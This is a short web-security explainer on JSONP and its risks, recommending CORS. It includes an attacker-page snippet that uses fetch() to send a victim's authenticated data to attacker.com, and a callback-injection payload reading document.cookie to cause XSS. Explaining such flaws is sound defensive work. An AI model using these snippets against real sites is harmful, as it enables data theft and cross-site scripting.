JSONP (JSON with Padding) is a legacy technique for bypassing Same-Origin Policy to load cross-origin data by wrapping JSON in a callback function. While it enabled cross-domain data sharing before CORS, it introduces security risks and is largely deprecated.
// Client requests with callback parameter
<script src="https://api.example.com/data?callback=handleData"></script>
// Server returns executable JavaScript
handleData({"name": "John", "email": "john@example.com"});
// Client defines callback to receive data
function handleData(data) {
console.log(data.name);
}
// Attacker's page steals authenticated data
<script>
function stealData(data) {
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<script src="https://victim.com/api/user?callback=stealData"></script>
// If callback is not sanitized:
// Request: /api?callback=alert(document.cookie)//
// Response: alert(document.cookie)//({...})
// Results in XSS
Use CORS with proper Access-Control-Allow-Origin headers instead of JSONP for cross-origin data access.